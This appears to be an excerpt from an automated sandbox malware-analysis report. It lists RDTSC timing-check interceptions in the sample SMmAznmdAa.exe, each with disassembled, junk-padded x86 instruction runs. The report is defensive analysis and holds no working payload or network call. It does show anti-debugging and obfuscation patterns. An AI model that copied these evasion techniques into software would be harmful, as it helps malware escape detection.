Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 12713BE second address: 12713D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD80B68F21h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 12713D3 second address: 12713D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 12713D7 second address: 12713E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1285095 second address: 12850A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FCD80B38A0Eh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1285218 second address: 1285222 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FCD80B68F16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1285222 second address: 128525B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B38A18h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FCD80B38A12h 0x0000000e jnp 00007FCD80B38A08h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 128525B second address: 1285261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1285261 second address: 128528C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 jbe 00007FCD80B38A1Eh 0x0000000f jmp 00007FCD80B38A18h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 128528C second address: 1285290 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1285290 second address: 1285294 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1285294 second address: 128529A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1285951 second address: 128596B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD80B38A14h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1285AFE second address: 1285B02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1285B02 second address: 1285B0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1285CB6 second address: 1285CBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1285CBC second address: 1285CCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007FCD80B38A06h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1285CCA second address: 1285CD4 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FCD80B68F16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1285E3B second address: 1285E3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1285E3F second address: 1285E48 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1285F7D second address: 1285F87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FCD80B38A06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1285F87 second address: 1285F9F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FCD80B68F22h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1285F9F second address: 1285FA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1285FA5 second address: 1285FA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1285FA9 second address: 1285FC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FCD80B38A0Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1285FC5 second address: 1285FCB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 128B9B1 second address: 128B9B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 128BCE9 second address: 128BD04 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FCD80B68F1Fh 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 128BD04 second address: 128BD08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 128BD08 second address: 128BD75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FCD80B68F21h 0x0000000b popad 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jl 00007FCD80B68F1Eh 0x00000016 mov eax, dword ptr [eax] 0x00000018 jng 00007FCD80B68F43h 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 push eax 0x00000023 push edx 0x00000024 je 00007FCD80B68F18h 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 128BD75 second address: 128BD7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 128BD7B second address: 128BD7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 128D4B2 second address: 128D4B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 128D4B8 second address: 128D4F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jno 00007FCD80B68F1Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 jmp 00007FCD80B68F23h 0x00000015 js 00007FCD80B68F16h 0x0000001b pop edi 0x0000001c jnl 00007FCD80B68F18h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 128D4F0 second address: 128D4FB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop esi 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 128D4FB second address: 128D501 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5900426 second address: 590042C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 590042C second address: 590043B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 590043B second address: 590043F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 590043F second address: 5900445 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5900445 second address: 590045C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B38A0Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e mov al, 75h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 590045C second address: 59004BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B68F29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov edx, dword ptr [ebp+0Ch] 0x0000000d pushad 0x0000000e push edx 0x0000000f mov eax, 2B6CE505h 0x00000014 pop eax 0x00000015 pushad 0x00000016 push edx 0x00000017 pop esi 0x00000018 pushfd 0x00000019 jmp 00007FCD80B68F1Dh 0x0000001e adc cx, 8FD6h 0x00000023 jmp 00007FCD80B68F21h 0x00000028 popfd 0x00000029 popad 0x0000002a popad 0x0000002b mov ecx, dword ptr [ebp+08h] 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 mov ah, bl 0x00000033 pushad 0x00000034 popad 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 59004BA second address: 59004D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FCD80B38A11h 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 59004F0 second address: 59004F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 59004F6 second address: 59004FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 59206C0 second address: 59206E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FCD80B68F1Fh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov ecx, 557E4447h 0x00000016 mov al, DDh 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 59206E3 second address: 59206FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCD80B38A15h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 59206FC second address: 5920732 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B68F21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c jmp 00007FCD80B68F1Eh 0x00000011 lea eax, dword ptr [ebp-04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov ebx, 50B860A0h 0x0000001c mov di, E6CCh 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920732 second address: 5920738 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920738 second address: 5920762 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B68F1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007FCD80B68F20h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920762 second address: 5920768 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920768 second address: 5920790 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B68F1Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FCD80B68F20h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920790 second address: 5920794 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920794 second address: 592079A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 59207E5 second address: 5920805 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B38A12h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-04h], 00000000h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920805 second address: 5920809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920809 second address: 592080D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 592080D second address: 5920813 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920813 second address: 5920834 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov esi, eax 0x0000000c jmp 00007FCD80B38A0Ah 0x00000011 je 00007FCD80B38A6Dh 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920834 second address: 592083E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ebx, 4249650Eh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920880 second address: 5920886 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920886 second address: 592088A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 592088A second address: 592088E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 592088E second address: 5910180 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, esi 0x0000000a pushad 0x0000000b mov dl, 3Dh 0x0000000d mov eax, 3B5F973Dh 0x00000012 popad 0x00000013 pop esi 0x00000014 pushad 0x00000015 push esi 0x00000016 pushad 0x00000017 popad 0x00000018 pop edi 0x00000019 push eax 0x0000001a push edi 0x0000001b pop eax 0x0000001c pop ebx 0x0000001d popad 0x0000001e leave 0x0000001f jmp 00007FCD80B68F26h 0x00000024 retn 0004h 0x00000027 nop 0x00000028 sub esp, 04h 0x0000002b cmp eax, 00000000h 0x0000002e setne al 0x00000031 xor ebx, ebx 0x00000033 test al, 01h 0x00000035 jne 00007FCD80B68F17h 0x00000037 mov dword ptr [esp], 0000000Dh 0x0000003e call 00007FCD854962BDh 0x00000043 mov edi, edi 0x00000045 jmp 00007FCD80B68F1Eh 0x0000004a xchg eax, ebp 0x0000004b jmp 00007FCD80B68F20h 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007FCD80B68F1Eh 0x00000058 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910180 second address: 5910230 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B38A0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushad 0x0000000c mov bh, al 0x0000000e mov ebx, 14408022h 0x00000013 popad 0x00000014 mov esi, edx 0x00000016 popad 0x00000017 mov ebp, esp 0x00000019 jmp 00007FCD80B38A15h 0x0000001e sub esp, 2Ch 0x00000021 jmp 00007FCD80B38A0Eh 0x00000026 xchg eax, ebx 0x00000027 pushad 0x00000028 mov esi, 4714993Dh 0x0000002d mov si, 8C39h 0x00000031 popad 0x00000032 push eax 0x00000033 pushad 0x00000034 call 00007FCD80B38A15h 0x00000039 pushfd 0x0000003a jmp 00007FCD80B38A10h 0x0000003f or ch, 00000078h 0x00000042 jmp 00007FCD80B38A0Bh 0x00000047 popfd 0x00000048 pop ecx 0x00000049 mov al, dl 0x0000004b popad 0x0000004c xchg eax, ebx 0x0000004d pushad 0x0000004e mov ecx, 71244AFDh 0x00000053 push ecx 0x00000054 pop esi 0x00000055 popad 0x00000056 push eax 0x00000057 jmp 00007FCD80B38A10h 0x0000005c mov dword ptr [esp], edi 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910230 second address: 5910234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910234 second address: 5910238 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910238 second address: 591023E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910261 second address: 591027E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B38A19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 591027E second address: 5910285 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910285 second address: 5910297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebx, 00000000h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910297 second address: 59102A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B68F1Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 59102A8 second address: 59102AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 59102AE second address: 59102C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edi, 00000000h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FCD80B68F1Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 59102C8 second address: 5910307 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 mov esi, 28CA2007h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e inc ebx 0x0000000f jmp 00007FCD80B38A0Ah 0x00000014 test al, al 0x00000016 jmp 00007FCD80B38A10h 0x0000001b je 00007FCD80B38C2Ah 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FCD80B38A0Ah 0x0000002a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910307 second address: 591030B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 591030B second address: 5910311 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910356 second address: 5910397 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, 24h 0x00000005 jmp 00007FCD80B68F1Ah 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FCD80B68F1Dh 0x00000017 adc esi, 51922276h 0x0000001d jmp 00007FCD80B68F21h 0x00000022 popfd 0x00000023 mov ax, C567h 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 59104B1 second address: 59104B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 59104B7 second address: 5910526 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FCD80B68F22h 0x00000009 jmp 00007FCD80B68F25h 0x0000000e popfd 0x0000000f pushfd 0x00000010 jmp 00007FCD80B68F20h 0x00000015 jmp 00007FCD80B68F25h 0x0000001a popfd 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e jne 00007FCDF1E86EA4h 0x00000024 pushad 0x00000025 movzx eax, di 0x00000028 push ebx 0x00000029 movzx eax, bx 0x0000002c pop edx 0x0000002d popad 0x0000002e mov ebx, dword ptr [ebp+08h] 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910526 second address: 591052A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 591052A second address: 591052E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 591052E second address: 5910534 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910534 second address: 591057E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, cl 0x00000005 pushfd 0x00000006 jmp 00007FCD80B68F23h 0x0000000b jmp 00007FCD80B68F23h 0x00000010 popfd 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 lea eax, dword ptr [ebp-2Ch] 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FCD80B68F25h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 591057E second address: 5910584 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
